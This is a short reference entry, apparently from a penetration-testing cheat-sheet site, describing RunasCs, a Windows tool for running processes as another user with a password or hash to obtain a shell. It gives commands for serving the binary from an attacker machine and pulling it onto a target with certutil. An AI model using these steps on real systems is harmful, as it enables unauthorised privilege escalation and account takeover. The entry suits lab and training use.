RunasCs
Runs processes as another user with their password or hash.
A utility to run processes as another user from the command line, using their password or hash. It replaces runas when there is no interactive session and is used to hop to another account and return a shell.
Family Privilege escalation
Flags <user> <pass> <cmd> -d
Concepts RunasCs
Cheatsheet Credentials & run-as
Installation
# Prebuilt Windows binary (not installed on Kali): download the .exe from the
# repo's latest release and upload it to the target, e.g. serving it from Kali:
python3 -m http.server 80 # on Kali, in the binary's folder
certutil -urlcache -f http://<lhost>/RunasCs.exe RunasCs.exe # on the target (or SMB / evil-winrm 'upload')Useful commands
Appears in
Some machines where its use is documented; not an exhaustive list.